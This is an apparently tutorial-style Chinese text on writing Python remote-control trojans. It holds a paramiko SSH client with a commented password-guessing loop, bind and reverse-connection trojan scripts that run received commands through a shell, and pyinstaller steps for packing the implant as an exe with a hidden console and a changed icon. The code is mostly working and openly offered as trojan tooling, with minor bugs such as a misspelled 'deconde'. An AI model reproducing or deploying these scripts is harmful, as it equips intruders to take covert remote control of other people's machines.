基于paramiko实现SSH客户端
import paramiko
#创建SSClient对象
client = paramiko.SSHClient()
#允许自己连接不认识的主机
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#连接服务器
#passwords=['123456','root']
#for i in passwords:
# print(i)
client.connect('主机名','端口','用户名','密码')
stdin,stdout,stderr = client.exec_command('ls')
#获取命令结果
print(stdout.read())
正向连接脚本
除了通过SSH连接服务器外,还用其他的方式也可以实现远程控制,也就是我们常说的木马,对于一个木马来说,至少要具备以下两个功能:
1:服务端能够对设备进行控制
2:客户端可以远程向服务器传达命令
正向木马客户端
import socket
import time
str_msg=input("请输入指令")
s2 = socket.socket()
s2.connect(("127.0.0.1",2315))
#对传输数据使用encode()函数处理,python3不再支持str类型传输,需要转换为bytes类型
str_msg = str_msg.encode(encoding='gbk')
s2.send(str_msg)
print(str(s2.recv(1024)))
time.sleep(5)
s2.close()
正向木马服务端
import subprocess
import socket
def run_command(command):
command=command.rstrip() #删除字符串末尾指定字符,默认为空格
print(command)
try:
child = subprocess.run(command,shell=True)
except Exception as e:
child = "执行失败\r\n"
return child
s1 = socket.socket()
s1.bind(("127.0.0.1",2315))
s1.listen(5)
str="Hello World"
while True:
conn,address = s1.accept()
print("a new connect from",address)
conn.send(str.encode(encoding="gbk"))
data=conn.recv(1024)
data=bytes.decode(data)
print("The command is"+data)
output = run_command(data)
conn.close()
反向连接脚本
正向连接脚本实际上受到目标设备IP的限制,所以出现了一种更有效的木马。反向木马的被控端写有主控端的IP地址,一但在目标设备上运行,就会主动通知主控端,然后再从主控端发送命令。
逆向木马被控端
import subprocess
import socket
def run_command(command):
command = command.rstrip()
#print(type(command))
#command="calc"
try:
child = subprocess.run(command,shell=True)
except Exception as e:
child = '命令执行失败\n'
return child
client = socket.socket()
#连接主控端的IP地址
client.connect(('127.0.0.1',9999))
while True:
Message = "welcome"
client.send(Message.encode())
data = client.recv(1024)
data=data.decode()
output = run_command(data)
#print(output.stdout)
client.close()
逆向木马主控端
import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
try:
while True:
self.data = self.request.recv(1024)
print(self.data.deconde(),"\n")
cmd = input("(quit退出>>").strip()
if cmd == 0:
continue
if cmd == "quit":
break
if not self.data:
print("connection lost")
break
self.request.sendall(cmd.encode())
except Exception as e:
print(self.client_address,"连接断开")
finally:
self.request.close()
def setup(self):
print("before handle,连接建立",self.client_address)
def finish(self):
print("finish run after handle")
if __name__ == "__main__":
HOST = "localhost"
PORT = 9999
server = socketserver.TCPServer((HOST,PORT),MyTCPHandler)
server.serve_forever()
py文件变成exe文件
目标设备上可能没有python环境,所以有时候需要改变一下文件类型
使用 pyinstaller xxx.py(文件路径)
-F 打包后生成单个exe文件
-D 默认选项,创建一个目录,包含exe文件和大量依赖文件
-c 默认使用控制台(黑框框)
-w 不使用控制台
-p 添加搜索路径,让其找到对应的库
-i 改变生成程序的icon图标